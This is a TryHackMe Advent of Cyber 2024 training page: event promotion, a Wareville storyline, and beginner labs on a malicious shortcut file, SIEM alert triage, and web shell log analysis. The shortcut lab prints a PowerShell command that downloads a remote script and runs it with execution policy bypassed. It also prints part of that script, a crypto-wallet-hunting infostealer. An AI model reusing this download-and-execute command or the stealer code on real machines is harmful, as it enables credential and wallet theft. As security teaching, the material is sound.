Advent of Cyber 2024

Join our community

Follow us on social media for exclusive giveaways, Advent of Cyber task releases, and our prize draw announcement!

Join our Discord

Discord is the heartbeat of the TryHackMe community. It's where we go to connect with fellow hackers, get help with difficult rooms, and find out when a new room launches. Our Discord server has over 220,000 members (and continues to grow every day), so there's always something happening.

Are you excited about Advent of Cyber? Visit a dedicated channel on our Discord, where you can chat with other participants in the event and follow the daily releases!

If you haven't used it before, it's very easy to set up (we recommend installing the app). We'll ask a couple of onboarding questions to help figure out which channels are most relevant to you.

What do you get with Discord?

There are so many benefits to joining:

• Discuss the day's Advent of Cyber challenges and receive support in a dedicated channel.
• Discover how to improve your job applications and fast-track your way into a cyber career.
• Learn about upcoming TryHackMe events and challenges.
• Browse discussion forums for all of our learning paths and releases.

Click on this link to join our Discord Server: Join the Community!

Grab your swag!

Want to rep swag from your favourite cyber security training platform? We have a NEW special edition Advent of Cyber swag, now available for order!

Completing Advent of Cyber as an organisation

With TryHackMe for Business, you:

• Get full unlimited access to all of TryHackMe's content and features (excluding cloud content and SOC Sim)
• Leverage competitive learning and collectively engage your team in Advent of Cyber tasks, measuring their progress
• Create customised learning paths to dive into training topics based on Advent of Cyber and beyond
• Training for Defensive, Offensive, and Cloud Security teams
• Advanced admin reports and dashboards
• Implementation support for your organisation, SSO integration, and Customer Success Manager
• Build your own custom capture-the-flag events on demand!

If you're interested in exploring TryHackMe's business benefits through a FREE trial, please contact [email protected]. For more information about our offering, check out the business page.

If you’re an existing client and want to get your wider team and company involved, please reach out to your dedicated Customer Success Manager!

A short TryHackMe tutorial

New tasks are released daily at 4pm GMT, with the first challenge being released on 1st December. They will vary in difficulty (although they will always be aimed at beginners). Each task in the event will include instructions on how to interact with the practical material. Please follow them carefully! The instructions will include a connection card similar to the one shown below:

Let's work our way through the different options.

If the AttackBox option is available:

TryHackMe's AttackBox is an Ubuntu Virtual Machine hosted in the cloud. Think of the AttackBox as your virtual computer, which you would use to conduct a security engagement. There will be multiple tasks during the event that will ask you to deploy the AttackBox.

You can deploy the AttackBox by clicking the "Start AttackBox" button at the top of this page.

Using the web-based AttackBox, you can complete exercises through your browser. If you're a regular user, you can deploy the AttackBox for free for 1 hour a day. If you're subscribed, you can deploy it for an unlimited amount of time!

Please note that you can use your own attacker machine instead of the AttackBox. In that case, you will need to connect using OpenVPN. Instructions on how to set up OpenVPN are here.

You can open the AttackBox full-screen view in a new tab using this button:

If the VM option is available:

Most tasks in Advent of Cyber will have a virtual machine attached to them. You will use some of them as targets to train your offensive security skills and some of them as hosts for your analysis and investigations. If this option is available, you need to click the "Start Machine" button.

After the machine is deployed, you will see a frame appear at the top of the room. It will display some important information, like the IP address of the target machine, as well as options to extend the machine's timer or terminate it.

If the split-screen option is available:

Some tasks will allow you to view your deployed VM in a split-screen view. Typically, if this option is enabled, the split screen will open automatically. If it doesn't, you can click this button at the top of the page for the split screen to open.

Please note that you can open split-screen virtual machines in another tab using this button:

If there's a direct link available:

Some virtual machines allow you to view the necessary content directly in another tab on your browser. In this case, you'll be able to see a link to the virtual machine directly in the task content.

Please note that for the link to work, you first need to deploy the virtual machine attached to the task.

If there is a direct connection option available:

Some tasks will allow you to connect to the virtual machines attached using RDP, SSH, or VNC. This is always optional, and virtual machines with this enabled will also be accessible via a split screen. In these cases, login credentials will be provided, like in the image below:

We provide this as some users might prefer to connect directly. However, please note that some tasks will deliberately have this option disabled. If no credentials are given, direct connection is not possible.

The snow is falling on the tech town of Wareville, and all the different Ware families are gathering in the town square, getting ready for a town meeting. We see the Softwares and the Freewares, skating down the neon-lit frostlanes. We turn to Server Street, and see the Hardwares and the Firmwares marching downtown, festive server lights blinking and flickering in their eyes. It’s time to start preparing for SOC-mas, the most joyous time of the year in the tech town of Wareville.

If we lift our eyes, we’ll see, beyond the buzzing city, a snow-covered mountain of discarded technology. Boulders of old printers, cracked monitor cliffs, and server rack ridges, held together by vines of ethernet cables, and a single old gaming chair at the peak - this is Mount Hackit, and no Wares dare to go there. They fear it not because of the frequent floppy disk avalanches, the Wares avoid Mount Hackit because of the Glitch.

The Glitch’s lair is hidden in a deep cave, and he’s there now. He grabs a few cables hanging from the ceiling and plugs them in. Although not as new and shiny as Wareville’s, his servers work just fine! The Glitch has been watching Wareville’s security for years, and this SOC-mas will not be different. The Wares might fear the Glitch, thinking he is an evil hacker, but it doesn’t matter. Cracking his fingers, he starts typing, establishing the connection to the town’s network. Time to hack!

Back in the town square, Marta May Ware, the SOC-mas organiser, is climbing up on the stage to address the town when all the lights suddenly flicker. All the Wares look around, confused, but it passes quickly, and everything returns to normal.

In the city hall, Mayor Malware slams his fists on his desk. “Blocked again!” he shouts angrily. “That insufferable Glitch is at it again!” The mayor’s plan to stop SOC-mas preparation by sabotaging tonight's meeting was unsuccessful. He’ll have to think of something better for tomorrow…

In the meantime, Wareville’s SOC is in chaos. Analysts are trying to discover what caused the sudden power surge that threatened all tech in the town. McSkidy Software, the town’s leading cyber security expert, points at a log file on the screen and exclaims, “Now, I don’t know exactly what happened, but this proves we had a connection from Mount Hackit!” McSkidy runs out of the SOC and heads up the mountain. When she reaches the cave, she does not expect to see the Glitch waiting for her, two cups of hot cocoa in his hands, and his dog curled up at his feet.

It takes most of the evening, but the Glitch explains what he’s been doing: protecting the town from Mayor Malware’s evil plans. It looks like the mayor wants to completely stop SOC-mas from happening this year! The Glitch knows the Wares might mistrust or hate him, but he wants to help.

Now, united by a common purpose, McSkidy and the Glitch start their work in the Mount Hackit cave, because they’re the only ones standing between Wareville and chaos.

Come back on December 1st to help McSkidy and the Glitch defend SOC-mas against the evil Mayor Malware’s plans!

Subscribe with a discount!

The Advent of Cyber event is completely free! However, we recommend checking out some of the reasons to subscribe:

To celebrate Advent of Cyber, you can get 30% off personal annual subscriptions using the discount code AOC2024 at checkout. This discount is valid until 31st December, 2024, at 23:59 GMT – that's in:

McSkidy's fingers flew across the keyboard, her eyes narrowing at the suspicious website on her screen. She had seen dozens of malware campaigns like this. This time, the trail led straight to someone who went by the name "Glitch."

"Too easy," she muttered with a smirk.

"I still have time," she said, leaning closer to the screen. "Maybe there's more."

Little did she know, beneath the surface lay something far more complex than a simple hacker's handle. This was just the beginning of a tangled web unravelling everything she thought she knew.

Learning Objectives

• Learn how to investigate malicious link files.
• Learn about OPSEC and OPSEC mistakes.
• Understand how to track and attribute digital identities in cyber investigations.

Connecting to the Machine

Before moving forward, review the questions in the connection card shown below and start the virtual machine by pressing the Start Machine button. The VM should be fully loaded in 3 minutes. Additionally, you will need the AttackBox, which can be launched by clicking the Start AttackBox button at the top of the page.

NOTE: 

If you’re clicking "Start Machine" and encountering an issue launching it, don’t worry—it’s just the high demand. What can you do?

• Keep trying! Machines are becoming available as demand fluctuates.
• If you’re still having trouble, come back a little later when it’s less busy.

Investigating the Website

The website we are investigating is a Youtube to MP3 converter currently being shared amongst the organizers of SOC-mas. You've decided to dig deeper after hearing some concerning reports about this website.

From your AttackBox, access the website by visiting MACHINE_IP using the web browser.

At first glance, the website looks legit and presentable. The About Page even says that it was made by "The Glitch ". How considerate of them to make our job easier!

Scrolling down, you'll see the feature list, which promises to be "Secure" and "Safe." From our experience, that isn't very likely.

Youtube to MP3 Converter Websites

These websites have been around for a long time. They offer a convenient way to extract audio from YouTube videos, making them popular. However, historically, these websites have been observed to have significant risks, such as:

• Malvertising: Many sites contain malicious ads that can exploit vulnerabilities in a user's system, which could lead to infection.
• Phishing scams: Users can be tricked into providing personal or sensitive information via fake surveys or offers.
• Bundled malware: Some converters may come with malware, tricking users into unknowingly running it.

What nefarious thing does this website have in store for us?

Getting Some Tunes

Let's find out by pasting any YouTube link in the search form and pressing the "Convert" button. Then select either mp3 or mp4 option. This should download a file that we could use to investigate. For example, we can use https://www.youtube.com/watch?v=dQw4w9WgXcQ, a classic if you ask me.

Once downloaded, navigate to your Downloads folder or if you are using the AttackBox, to your /root/ directory. Locate the file named download.zip, right-click on it, and select Extract To. In the dialog window, click the Extract button to complete the extraction.

You'll now see two extracted two files: song.mp3 and somg.mp3.

To quickly determine the file's contents, double-click on the "Terminal" icon on the desktop then run the file command on each one. First, let's try checking song.mp3.

           user@tryhackme:~$ file song.mp3
download.mp3: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo
        

There doesn't seem to be anything suspicious, according to the output. As expected, this is just an MP3 file.

How about the second file somg.mp3? From the filename alone, we can tell something is not right. Still, let's confirm by running the file command on it anyway.

           user@tryhackme:~$ file somg.mp3
somg.mp3: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sat Sep 15 07:14:14 2018, mtime=Sat Sep 15 07:14:14 2018, atime=Sat Sep 15 07:14:14 2018, length=448000, window=hide
        

Now, this is more interesting!

The output tells us that instead of an MP3, the file is an "MS Windows shortcut", also known as a .lnk file. This file type is used in Windows to link to another file, folder, or application. These shortcuts can also be used to run commands! If you've ever seen the shortcuts on a Windows desktop, you already know what they are.

There are multiple ways to inspect .lnk  files to reveal the embedded commands and attributes. For this room, however, we'll use ExifTool, which is already installed on this machine.

To do this, go back to your Terminal and type:

           user@tryhackme:~$ exiftool somg.mp3
        

Look through the output to locate the command used as a shortcut in the somg.mp3 file. If you scroll down through the output, you should see a PowerShell command.

           
...
Relative Path                   : ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Working Directory               : C:\Windows\System32\WindowsPowerShell\v1.0
Command Line Arguments          : -ep Bypass -nop -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1','C:\ProgramData\s.ps1'); iex (Get-Content 'C:\ProgramData\s.ps1' -Raw)"
Machine ID                      : win-base-2019
user@tryhackme:~# 

        

What this PowerShell command does:

• The -ep Bypass -nop flags disable PowerShell's usual restrictions, allowing scripts to run without interference from security settings or user profiles.
• The DownloadFile method pulls a file (in this case, IS.ps1) from a remote server (https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1) and saves it in the C:\\ProgramData\\ directory on the target machine.
• Once downloaded, the script is executed with PowerShell using the iex command, which triggers the downloaded s.ps1 file.

If you visit the contents of the file to be downloaded using your browser (https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1), you will see just how lucky we are that we are not currently using Windows.

function Print-AsciiArt {
    Write-Host "  ____     _       ___  _____    ___    _   _ "
    Write-Host " / ___|   | |     |_ _||_   _|  / __|  | | | |"  
    Write-Host "| |  _    | |      | |   | |   | |     | |_| |"
    Write-Host "| |_| |   | |___   | |   | |   | |__   |  _  |"
    Write-Host " \____|   |_____| |___|  |_|    \___|  |_| |_|"

    Write-Host "         Created by the one and only M.M."
}

# Call the function to print the ASCII art
Print-AsciiArt

# Path for the info file
$infoFilePath = "stolen_info.txt"

# Function to search for wallet files
function Search-ForWallets {
    $walletPaths = @(
        "$env:USERPROFILE\.bitcoin\wallet.dat",
        "$env:USERPROFILE\.ethereum\keystore\*",
        "$env:USERPROFILE\.monero\wallet",
        "$env:USERPROFILE\.dogecoin\wallet.dat"
    )
    Add-Content -Path $infoFilePath -Value "`n### Crypto Wallet Files ###"
    foreach ($path in $walletPaths) {
        if (Test-Path $path) {
            Add-Content -Path $infoFilePath -Value "Found wallet: $path"
        }
    }
}

[Output truncated for brevity]
        

The script is designed to collect highly sensitive information from the victim's system, such as cryptocurrency wallets and saved browser credentials, and send it to an attacker's remote server.

Disclaimer: All content in this room, including CPP code, PowerShell scripts, and commands, is provided solely for educational purposes. Please do not execute these on a Windows host.

This looks fairly typical of a PowerShell script for such a purpose, with one notable exception: a signature in the code that reads.

Created by the one and only M.M.

Searching the Source

There are many paths we could take to continue our investigation. We could investigate the website further, analyse its source code, or search for open directories that might reveal more information about the malicious actor's setup. We can search for the hash or signature on public malware databases like VirusTotal or Any.Run. Each of these methods could yield useful clues.

However, for this room, we'll try something a bit different. Since we already have the PowerShell code, searching for it online might give us useful leads. It's a long shot, but we'll explore it in this exercise.

There are many places where we can search for code. The most widely used is Github. So let's try searching there.

To search effectively, we can look for unique parts of the code that we could use to search with. The more distinctive, the better. For this scenario, we have the string we've uncovered before that reads:

"Created by the one and only M.M."

Search for this on Github.com or by going directly to this link: https://github.com/search?q=%22Created+by+the+one+and+only+M.M.%22&type=issues

You'll notice something interesting if you explore the pages in the search results.

Note!

If you receive an error below, it's because Github has rate limits in place if you are not signed in. To fix this, you can just sign in with a GitHub account or skip directly to the next step by going here: https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/issues/1 

If you look through the search results, you can be able infer the malicious actor's identity based on information on the project's page and the GitHub Issues section.

Aha! Looks like this user has made a critical mistake.

Introduction to OPSEC

This is a classic case of OPSEC failure.

Operational Security (OPSEC) is a term originally coined in the military to refer to the process of protecting sensitive information and operations from adversaries. The goal is to identify and eliminate potential vulnerabilities before the attacker can learn their identity.

In the context of cyber security, when malicious actors fail to follow proper OPSEC practices, they might leave digital traces that can be pieced together to reveal their identity. Some common OPSEC mistakes include:

• Reusing usernames, email addresses, or account handles across multiple platforms. One might assume that anyone trying to cover their tracks would remove such obvious and incriminating information, but sometimes, it's due to vanity or simply forgetfulness.
• Using identifiable metadata in code, documents, or images, which may reveal personal information like device names, GPS coordinates, or timestamps.
• Posting publicly on forums or GitHub (Like in this current scenario) with details that tie back to their real identity or reveal their location or habits.
• Failing to use a VPN or proxy while conducting malicious activities allows law enforcement to track their real IP address.

You'd think that someone doing something bad would make OPSEC their top priority, but they're only human and can make mistakes, too.

For example, here are some real-world OPSEC mistakes that led to some really big fails:

AlphaBay Admin Takedown

One of the most spectacular OPSEC failures involved Alexandre Cazes, the administrator of AlphaBay, one of the largest dark web marketplaces:

• Cazes used the email address "[email protected]" in early welcome emails from the site.
• This email included his year of birth and other identifying information.
• He cashed out using a Bitcoin account tied to his real name.
• Cazes reused the username "Alpha02" across multiple platforms, linking his dark web identity to forum posts under his real name.

Chinese Military Hacking Group (APT1)

There's also the notorious Chinese hacking group APT1, which made several OPSEC blunders:

• One member, Wang Dong, signed his malware code with the nickname "Ugly Gorilla".
• This nickname was linked to programming forum posts associated with his real name.
• The group used predictable naming conventions for users, code, and passwords.
• Their activity consistently aligned with Beijing business hours, making their location obvious.

These failures provided enough information for cyber security researchers and law enforcement to publicly identify group members.

Uncovering MM

If you've thoroughly investigated the GitHub search result, you should have uncovered several clues based on poor OPSEC practices by the malicious actor.

We know the attacker left a distinctive signature in the PowerShell code (MM). This allowed us to search for related repositories and issues pages on GitHub. We then discovered an Issues page where the attacker engaged in discussions, providing more context and linking their activity to other projects.

In this discussion, they responded to a query about modifying the code. This response, paired with their unique handle, was another critical slip-up, leaving behind a trail of evidence that can be traced back to them. By analysing the timestamps, usernames, and the nature of their interactions, we can now attribute the mastermind behind the attack to MM.

What's Next?

As McSkidy continued digging, a pattern emerged that didn't fit the persona she was piecing together. A different handle appeared in obscure places, buried deep in the details: "MM."

"Who's MM?" McSkidy muttered, the mystery deepening.

Even though all signs on the website seemed to point to Glitch as the author, it became clear that someone had gone to great lengths to ensure Glitch's name appeared everywhere. Yet, the scattered traces left by MM suggested a deliberate effort to shift the blame.

It’s the most wonderful time of the year again, and it’s also the most stressful day for Wareville’s Security Operations Center (SOC) team. Despite the overwhelming alerts generated by the new and noisy rules deployed, Wareville’s SOC analysts have been processing them nonstop to ensure the safety of the town.

However, the SOC analysts are now burning out of all the workload needed before Christmas. Numerous open cases are still pending, and similar alerts are still firing repeatedly, making them think of the possibility of false positives out of all this mess.

Now, help the awesome Wareville’s SOC team analyse the alerts to determine whether the rumour is true—that Mayor Malware is instigating chaos within the town.

True Positives or False Positives?

In a SOC, events from different devices are sent to the SIEM, which is the single source of truth where all the information and events are aggregated. Certain rules (Detection Engineering rules) are defined to identify malicious or suspicious activity from these events. If an event or set of events fulfils the conditions of a rule, it triggers an alert. A SOC analyst then analyses the alert to identify if the alert is a True Positive (TP) or a False Positive (FP). An alert is considered a TP if it contains actual malicious activity. On the flip side, if the alert triggers because of an activity that is not actually malicious, it is considered an FP. This might seem very simple in theory, but practically, separating TPs from FPs can be a tedious job. It can sometimes become very confusing to differentiate between an attacker and a system administrator.

Making a Decision

While it is confusing to differentiate between TPs and FPs, it is very crucial to get it right. If a TP is falsely classified as an FP, it can lead to a significant impact from a missed cyber attack. If an FP is falsely classified as a TP, precious time will be spent focusing on the FP, which might lead to less focus on an actual attack. So, how exactly do we ensure that we perform this crucial job effectively? We can use the below pointers to guide us.

Using the SOC Superpower

The SOC has a superpower. When they are unsure whether an activity is performed by a malicious actor or a legitimate user, they can just confirm with the user. This privilege is not available to the attacker. A SOC analyst, on the other hand, can just send an email or call the relevant person to get confirmation of a certain activity. In mature organisations, any changes that might trigger an alert in the SOC often require Change Requests to be created and approved through the IT change management process. Depending on the process, the SOC team can ask the users to share Change Request details for confirmation. Surely, if it is a legitimate and approved activity, it must have an approved Change Request.

Context

While it might seem like using the SOC superpower makes things super easy, that is not always the case. There are cases which can act as Kryptonite to the SOC superpower:

• If an organisation doesn't have a change request process in place.
• The performed activity was outside the scope of the change request or was different from that of the approved change request.
• The activity triggered an alert, such as copying files to a certain location, uploading a file to some website, or a failed login to a system. 
• An insider threat performed an activity they are not authorised to perform, whether intentionally or unintentionally.
• A user performed a malicious activity via social engineering from a threat actor.

In such scenarios, it is very important for the SOC analyst to understand the context of the activity and make a judgement call based on their analysis skills and security knowledge. While doing so, the analyst can look at the past behaviour of the user or the prevalence of a certain event or artefact throughout the organisation or a certain department. For example, if a certain user from the network team is using Wireshark, there is a chance that other users from the same team also use Wireshark. However, Wireshark seen on a machine belonging to someone from HR or finance should rightfully raise some eyebrows.

Correlation

When building the context, the analyst must correlate different events to make a story or a timeline. Correlation entails using the past and future events to recreate a timeline of events. When performing correlation, it is important to note down certain important artefacts that can then be used to connect the dots. These important artefacts can include IP addresses, machine names, user names, hashes, file paths, etc.

Correlation requires a lot of hypothesis creation and ensuring that the evidence supports that hypothesis. A hypothesis can be something like the user downloaded malware from a spoofed domain. The evidence to support this can be proxy logs that support the hypothesis that a website was visited, the website used a spoofed domain name, and a certain file was downloaded from that website. Now, let's say, we want to identify whether the malware executed through some vulnerability in an application or a user intentionally executed the malware. To see that, we might look at the parent process of the malware and the command line parameters used to execute the said malware. If the parent process is Windows Explorer, we can assume the user executed the malware intentionally (or they might have been tricked into executing it via social engineering), but if the parent process is a web browser or a word processor, we can assume that the malware was not intentionally executed, but it was executed because of a vulnerability in the said application.

Is this a TP or an FP?

Similar to every SOC, the analysts in the Wareville SOC also need to differentiate TPs from FPs. This becomes especially difficult for them near Christmas when the analysts face alert fatigue. High chances of misclassification of TPs into FPs and vice versa are present in such times. The analysts, therefore, appreciate any help they could get from us in this crucial time. To make matters worse, the office of the Mayor has sent the analysts an alert informing them of multiple encoded powershell commands run on their systems. Perhaps we can help with that.

Connection Details

To help the analysts, we must start the Elastic SIEM in the attached VM by clicking the Start Machine button below. The instance takes 5 minutes to initialise and for the Elastic login page to appear.

Once the machine is up and running, we can connect to the Elastic SIEM by visiting https://LAB_WEB_URL.p.thmlabs.com in your browser using the following credentials:

URL	https://LAB_WEB_URL.p.thmlabs.com
Username	elastic
Password	elastic

Once we log in, we can click the menu in the top-left corner and go to the Discover tab to see the events. 

According to the alert sent by the Mayor's office, the activity occurred on Dec 1st, 2024, between 0900 and 0930. We can set this as our time window by clicking the timeframe settings in the upper-right corner. Note that we need to click the Absolute tab and set the exact timeframe we want to view. Lastly, click the Update button to apply the changes.

After updating the settings, we see 21 events in the mentioned timeframe.

In their current form, these events don't look very easily readable. We can use the fields in the left pane to add columns to the results and make them more readable. Hovering on the field name in the left pane will allow adding that field as a column, as shown below.

Since we are looking for events related to PowerShell, we would like to know the following details about the logs.

• The hostname where the command was run. We can use the host.hostname field as a column for that.
• The user who performed the activity. We can add the user.name field as a column for this information.
• We will add the event.category field to ensure we are looking at the correct event category.
• To know the actual commands run using PowerShell, we can add the process.command_line field.
• Finally, to know if the activity succeeded, we will add the event.outcome field.

Once we have added these fields as columns, we will see the results in a format like this.

Interesting! So, it looks like someone ran the same encoded PowerShell command on multiple machines. Another thing to note here is that before each execution of the PowerShell command, we see an authentication event, which was successful.

This activity is observed individually on each machine, and the time difference between the login and PowerShell commands looks very precise. Best practices dictate that named accounts are used for any kind of administrator activity so that there is accountability and attribution for each administrative activity performed. The usage of a generic admin account here also seems suspicious. On asking, the analysts informed us that this account is used by two administrators who were not in the office when this activity occurred. Hmmm, something is definitely not right. Are these some of Glitch's shenanigans? Is Christmas in danger? We need to find out who ran these commands.

Let's also add the source.ip field as a column to find out who ran the PowerShell commands.

Since the source.ip field is only available for the authentication events, we can filter out the process events to see if there is a pattern.  To do that, we can hover over the event.category field in one of the process events. We will see the option to filter only for this value (+ sign) or filter out the value (- sign), as seen below. Let's filter for authentication events by clicking the plus (+) sign beside it to show only those in the results.

As a result, you can see that the output only renders the authentication events. Since the result does not give useful insights, let's remove it for now. You can do this by clicking the x beside the filter.

Since the timeframe we previously used was for the PowerShell events, and the authentication events might have been coming from before that, we will need to expand the search to understand the context and the historical events for this user. Let's see if we have any events from the user from the 29th of November to the 1st of December. Updating the time filter for these days, the results look like this.

Note: Remember to remove the event.category filter before this step.

Woah, there have been more than 6800 events in these three days, and we see a spike at the end of the logs. However, even though we used the time filter for the day end on the 1st of December, we see no events after successful PowerShell execution. There have also been a lot more authentication events in the previous days than on the 1st of December.

To understand the events further, let's filter for our user.name with service_admin and source.ip with 10.0.11.11 to narrow our search.

Uh-oh! It looks like all these events have been coming from the same user and the same IP address. We definitely need to investigate further. This also does not explain the spike. Let's filter for authentication events first by clicking the plus (+) button beside it.

Moreover, let's filter out the Source IP here to see if we can find the IP address that caused the spike. This can be done by clicking the minus (-) button beside it.

After applying the filters, the expected result will be similar to the image below.

Scrolling down, we see many events for failed logins. We also see that the IP address for the spike (ending in .255.1) differs from the one we saw for the events continuously coming in the previous days (10.0.11.11). The analysts have previously investigated this and found that a script with expired credentials was causing this issue. However, that script was updated with a fresh set of credentials. Anyhow, this might just be another script. Let's find out.

Let's remove the source IP filter so we can focus on authentication events close to the spike. After applying the new filter, we see that the failed logins stopped a little while after the successful login from the new IP.

Our suspicions are rising. It seems that someone tried a brute-force attack on December 1st, as shown by the same filters applied above.

The results also showed that they succeeded with the brute-force attempt because of the successful authentication attempt and quickly ran some PowerShell commands on the affected machines. Once the PowerShell commands were run, we didn't see any further login attempts. This looks like a TP, and there needs to be an escalation so that McSkidy can help us respond to this incident.

Christmas in Danger?

The alarms have gone off, and McSkidy has been called to help take this incident further. The analysts have briefed McSkidy about the incident. McSkidy observed that nobody had actually looked at what the PowerShell command contained. Since the command was encoded, it needs to be decoded. McSkidy changed the filters with event.category: process to take a deeper look at the PowerShell commands.

We can see the PowerShell command in the process.command_line field. 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand SQBuAHMAdABhAGwAbAAtAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIAAtAEEAYwBjAGUAcAB0AEEAbABsACAALQBBAHUAdABvAFIAZQBiAG8AbwB0AA==

McSkidy knows that Encoded PowerShell commands are generally Base64 Encoded and can be decoded using tools such as CyberChef. Since the command might contain some sensitive information and, therefore, must not be submitted on a public portal, McSkidy spins up her own instance of CyberChef hosted locally. McSkidy started by pasting the encoded part of the command in the Input pane in CyberChef. 

Since it is a Base64 encoded command, McSkidy used two recipes, named FromBase64 and Decode text from the left pane. Note that McSkidy configured the Decode text to UTF-16LE (1200) since it is the encoding used by PowerShell for Base64.

The result provided a sigh of relief to McSkidy, who had feared that the Christmas had been ruined. Someone had come in to help McSkidy and the team secure their defences, but who?

Villain or Hero?

Today's AoC challenge follows a rather unfortunate series of events for the Glitch. Here is a little passage which sets the scene for today's task: 

In this task, we will cover how the SOC team and their expert were able to find out what had happened (Operation Blue) and how the Glitch was able to gain access to the website in the first place (Operation Red). Let's get started, shall we?

Learning Objectives

• Learn about Log analysis and tools like ELK.
• Learn about KQL and how it can be used to investigate logs using ELK.
• Learn about RCE (Remote Code Execution), and how this can be done via insecure file upload.

Connecting to the Machine

Before moving forward, review the questions in the connection card below:

Click on the green Start Machine button below to start the virtual machine for the practical. The practical VM may take 5 minutes to become accessible.

You will also need to start the AttackBox by pressing the Start AttackBox button at the top of the room. Alternatively, you can connect your own hacking machine by using the TryHackMe VPN.

OPERATION BLUE

In this section of the lesson, we will take a look at what tools and knowledge is required for the blue segment, that is the investigation of the attack itself using tools which enable is to analyse the logs. 

For the first part of Operation Blue, we will demonstrate how to use ELK to analyse the logs of a demonstration web app - WareVille Rails. Feel free to following along for practice. 

Log Analysis & Introducing ELK

Log analysis is crucial to blue-teaming work, as you have likely discovered through this year's Advent of Cyber.

Analysing logs can quickly become overwhelming, especially if you have multiple devices and services. ELK, or Elasticsearch, Logstash, and Kibana, combines data analytics and processing tools to make analysing logs much more manageable. ELK forms a dedicated stack that can aggregate logs from multiple sources into one central place.

Explaining how ELK collates and processes these logs is out of the scope of today's task. However, if you wish to learn more, you can check out the Investigating with ELK 101 room. For now, it's important to note that multiple processes behind the scenes achieve this.

The first part of today's task is to investigate the attack on Frosty Pines Resort's Hotel Management System to see what it looks like to a blue teamer. You will then test your web app skills by recreating the attack.

Using ELK

Upon loading the URL http://MACHINE_IP:5601/ within your AttackBox’s browser, you will be greeted with the ELK Home page.

For today's task, we will use Kibana's Discover interface to review Apache2 logs. To access this, simply click on the three lines located at the top left of the page to open the slide-out tray. Under the Analytics heading, click on Discover.

We will need to select the collection that is relevant to us. A collection is a group of logs. For this stage of Operation Blue, we will be reviewing the logs present within the "wareville-rails" collection. To select this collection, click on the dropdown on the left of the display.

Once you have done this, you will be greeted with a screen saying, "No results match your search criteria". This is because no logs have been ingested within the last 15 minutes. Do not panic; we will discuss how to change this shortly.

To change the date and time, click the text located on the right side of the box that has the calendar icon. Select "Absolute" from the dropdown, where you can now select the start date and time. Next, click on the text on the right side of the arrow to and repeat the process for the end date and time.

For the WareVille Rails collection, we will need to set the start time to October 1 2024 00:00:00, and the end time to October 1 23:30:00

If you are stuck, refer to the GIF below. Please note that the day and time in this demonstration of WareVille Rails will differ from the times required to review the FrostyPines Resorts collection in the second half of the practical.

Now that we can see some entries, let's go over the basics of the Kibana Discover UI.

1. Search Bar: Here, we can place our search queries using KQL
2. Index Pattern: An index pattern is a collection of logs. This can be from a specific host or, for example, multiple hosts with a similar purpose (such as multiple web servers). In this case, the index pattern is all logs relating to "wareville-rails"
3. Fields: This pane shows us the fields that Elasticsearch has parsed from the logs. For example, timestamp, response type, and IP address.
4. Timeline: This visualisation displays the event count over a period of time
5. Documents (Logs): These entries are the specific entries in the log file
6. Time Filter: We can use this to narrow down a specific time frame (absolute). Alternatively, we can search for logs based on relativity. I.e. "Last 7 days".

Kibana Query Language (KQL)

KQL, or Kibana Query Language, is an easy-to-use language that can be used to search documents for values. For example, querying if a value within a field exists or matches a value. If you are familiar with Splunk, you may be thinking of SPL (Search Processing Language).

For example, the query to search all documents for an IP address may look like ip.address: "10.10.10.10". 

Alternatively, Kibana also allows using Lucene query, an advanced language that supports features such as fuzzy terms (searches for terms that are similar to the one provided), regular expressions, etc. For today's task, we will stick with using KQL, which has been enabled by default. The table below contains a mini-cheatsheet for KQL syntax that you may find helpful in today's task.

Investigating a Web Attack With ELK

Scenario: Thanks to our extensive intrusion detection capabilities, our systems alerted the SOC team to a web shell being uploaded to the WareVille Rails booking platform on Oct 1, 2024. Our task is to review the web server logs to determine how the attacker achieved this.

If you would like to follow along, ensure that you have the "wareville-rails" collection selected like so:

To investigate this scenario, let's change the time filter to show events for the day of the attack, setting the start date and time to "Oct 1, 2024 @ 00:00:00.000" and the end date and time to "Oct 2, 2024 @ 00:00:00.000".

You will see the logs have now populated within the display. Please note that the quantity of entries (hits) in this task may differ to the amount on the practical VM.

An incredibly beneficial feature of ELK is that we can filter out noise. A web server (especially a popular one) will likely have a large number of logs from user traffic—completely unrelated to the attack. Using the fields pane on the left, we can click on the "+" and "-" icons next to the field to show only that value or to remove it from the display, respectively.

Fun fact: Clicking on these filters is actually just applying the relevant KQL syntax.

Note in the GIF below how the logs are being filtered to only show logs containing the IP address 10.13.27.115 (reducing the count from 1,028 to 423 hits). We can combine filtering multiple fields in or out to drill down specifically into the logs.

To remove applied filters, simply click on the "x" alongside the filter, just below the search bar.

In this investigation, let's look at the activity of the IP address 10.9.98.230. We can click on the "clientip" field to see the IPs with the most values.

Using the timeline at the top, we can see a lot of activity from this IP address took place between 11:30:00 and 11:35:00. This would be a good place to begin our analysis.

Each log can be expanded by using the ">" icon located on the left of the log/document. Fortunately, the logs are pretty small in this instance, so we can browse through them to look for anything untoward.

After some digging, a few logs stand out. Looking at the request field, we can see that a file named "shell.php" has been accessed, with a few parameters "c" and "d" containing commands. These are likely to be commands input into some form of web shell.

Now that we have an initial lead, let’s use a search query to find all logs that contain "shell.php". Using the search bar at the top, the query message: "shell.php" will search for all entries of "shell.php" in the message field of the logs.

OPERATION RED

In this section we will now take a look at the red aspect. In other words, the attack itself and how it was carried out.

Why Do Websites Allow File Uploads

File uploads are everywhere on websites, and for good reason. Users often need to upload files like profile pictures, invoices, or other documents to update their accounts, send receipts, or submit claims. These features make the user experience smoother and more efficient. But while this is convenient, it also creates a risk if file uploads aren't handled properly. If not properly secured, this feature can open up various vulnerabilities attackers can exploit.

File Upload Vulnerabilities

File upload vulnerabilities occur when a website doesn't properly handle the files that users upload. If the site doesn't check what kind of file is being uploaded, how big it is, or what it contains, it opens the door to all sorts of attacks. For example:

• RCE: Uploading a script that the server runs gives the attacker control over it.
  
